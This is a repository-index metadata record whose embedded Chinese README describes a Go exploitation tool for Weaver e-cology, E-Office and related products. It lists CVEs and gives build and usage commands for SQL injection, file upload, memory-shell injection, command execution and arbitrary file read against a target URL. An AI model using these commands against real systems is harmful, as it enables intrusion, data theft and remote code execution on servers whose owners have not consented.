{"id":14637821,"url":"https://github.com/zhaoyumi/WeaverExploit_All","last_synced_at":"2025-09-07T06:31:10.387Z","repository":{"id":176566414,"uuid":"658551398","full_name":"zhaoyumi/WeaverExploit_All","owner":"zhaoyumi","description":"泛微最近的漏洞利用工具（PS：2023）","archived":false,"fork":false,"pushed_at":"2023-12-14T09:15:43.000Z","size":1027,"stargazers_count":463,"open_issues_count":8,"forks_count":43,"subscribers_count":8,"default_branch":"main","last_synced_at":"2025-01-02T10:37:52.428Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/zhaoyumi.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-26T03:12:47.000Z","updated_at":"2024-12-26T03:17:43.000Z","dependencies_parsed_at":null,"dependency_job_id":"cc1000cf-9702-41e5-8029-2e14aac87bab","html_url":"https://github.com/zhaoyumi/WeaverExploit_All","commit_stats":null,"previous_names":["zhaoyumi/weaverexploit_all"],"tags_count":10,"template":false,"template_full_name":null,"purl":"pkg:github/zhaoyumi/WeaverExploit_All","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zhaoyumi%2FWeaverExploit_All","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zhaoyumi%2FWeaverExploit_All/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zhaoyumi%2FWeaverExploit_All/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zhaoyumi%2FWeaverExploit_All/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zhaoyumi","download_url":"https://codeload.github.com/zhaoyumi/WeaverExploit_All/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zhaoyumi%2FWeaverExploit_All/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274005341,"owners_count":25205934,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-09-10T02:01:16.961Z","updated_at":"2025-09-07T06:31:09.700Z","avatar_url":"https://github.com/zhaoyumi.png","language":"Go","funding_links":[],"categories":["Go"],"sub_categories":[],"readme":"# WeaverExploit_All\r\n\r\n\u003e 泛微最近的漏洞利用工具（PS：2023）\r\n\r\n集成了[QVD-2023-5012](https://www.secrss.com/articles/52198)、[CVE-2023-2523](https://blog.csdn.net/qq_41904294/article/details/130832416)、[CVE-2023-2648](https://blog.csdn.net/qq_41904294/article/details/130832416)、[getloginid_ofsLogin](https://blog.csdn.net/weixin_46944519/article/details/130722085) 漏洞利用\r\n\r\n**2023.7.26：新增：WorkflowServiceXml 内存马注入、uploaderOperate文件上传漏洞、DeleteUserRequestInfoByXml 、FileDownloadForOutDocSQL注入、E-Mobile 6.0 命令执行漏洞检测**\r\n\r\n**2023.8.05：新增泛微E-Office 信息泄露、未授权漏洞**\r\n\r\n**2023.8.21：新增泛微E-Office 多个sql注入漏洞、E-cology HrmCareerApplyPerViewSQL注入漏洞**\r\n\r\n**2023.12.14：新增：e-cology 任意文件读取、E_Message任意文件读取、E_Office SQL注入、Cology8 SQL注入**\r\n\r\n#### 0x001 编译使用\r\n\r\n```\r\ngo build -o WeaverExloit-All.exe .\\main.go\r\n```\r\n\r\n#### 0x002 使用方法\r\n\r\n默认全部poc\r\n\r\n```\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p QVD-2023-5012\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p CVE-2023-2523\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p CVE-2023-2648\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p getloginid_ofsLogin\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p DeleteUserRequestInfoByXml\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p WorkFlowServiceXml\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p UploaderOperate\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p FileDownloadForOutDocSQL\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p E_Mobile_client  -c ipconfig\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p EOfficeVUl\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p EOfficeSQL\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p HrmCareerApplyPerViewSQL\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p E_Message\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p Cology8docsSQL\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p E_Office_json_commonSQL\r\nWeaverExloit-All.exe -u http://127.0.0.1:8080/ -p XmlRpcServlet -f c:\\\\windows\\win.ini\r\n```\r\n\r\n![image-20231214170624835](img/image-20231214170624835.png)\r\n\r\n![image-20231214170755855](img/image-20231214170755855.png)\r\n\r\n![image-20230626105738808](img/image-20230626105738808.png)\r\n\r\n\r\n\r\n![image-20230626110039351](img/image-20230626110039351.png)\r\n\r\n\r\n\r\n![image-20230626110207611](img/image-20230626110207611.png)\r\n\r\n\r\n\r\n![image-20230726142128257](img/image-20230726142128257.png)\r\n\r\ndnslog 地址放到config/config.txt中\r\n\r\n![image-20230726105951498](img/image-20230726105951498.png)\r\n\r\n![image-20230807094313215](img/image-20230807094313215.png)\r\n\r\n![image-20230821090721048](img/image-20230821090721048.png)\r\n\r\n![image-20230821090909509](img/image-20230821090909509.png)\r\n\r\n#### 0x003 仅供测试使用\r\n\r\n免责声明：本工具不得用于商业用途,仅做学习交流，如用作他途造成的一切后果请自行承担！","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fzhaoyumi%2FWeaverExploit_All","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fzhaoyumi%2FWeaverExploit_All","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fzhaoyumi%2FWeaverExploit_All/lists"}